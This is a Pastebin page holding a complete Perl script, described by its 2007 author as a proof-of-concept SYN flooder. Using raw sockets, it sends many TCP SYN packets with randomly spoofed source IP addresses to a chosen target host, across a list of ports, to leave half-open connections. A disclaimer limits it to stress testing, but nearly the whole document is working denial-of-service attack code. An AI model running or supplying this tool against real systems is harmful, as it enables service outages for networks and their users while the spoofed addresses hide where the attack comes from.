Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- ####
- # this is a proof of concept syn flooder written in Perl.
- # it's pretty straight forward. sends packets with the syn flag
- # enabled, causing half open connections sent from random spoofed IP's.
- #
- # one addition is the ability to specify a list of ports, rather than just
- # targeting a single port.
- #
- # don't use this for any malicious purposes.. it's strictly for stress
- # testing routers/networks.
- #
- # - nwo 10/17/2007
- ####
- require 'getopts.pl';
- ### need to utilize raw sockets.
- use Net::RawIP;
- Getopts('t:p:n:');
- ### function to create random IP's.
- sub randip () {
- $ip = join(".", map int rand 256, 1 .. 4);
- return("$ip");
- }
- ### set up the socket.
- $syn = new Net::RawIP;
- die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
- unless ($opt_t && $opt_p && $opt_n);
- ### allow the user to specify a list of comma seperated ports via the command line.
- @ports = split(/\,/, $opt_p);
- $list = @ports;
- ### super awesome output.
- print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
- ### start the loop
- for($i = 1;$i < $opt_n;$i++) {
- ### randomly select a port out of the @ports array
- $nlist = int rand($list);
- $dport = $ports[$nlist];
- ### set up the packet..
- $syn->set({
- ip => {
- daddr => $opt_t,
- saddr => &randip,
- },
- ### specify the destination port and source port..
- ### make sure the syn flag is enabled.
- tcp => {
- dest => $dport,
- source => $dport,
- ack => 0,
- urg => 0,
- rst => 0,
- fin => 0,
- psh => 0,
- syn => 1
- }
- });
- ### send the packet! yay!
- $syn->send;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement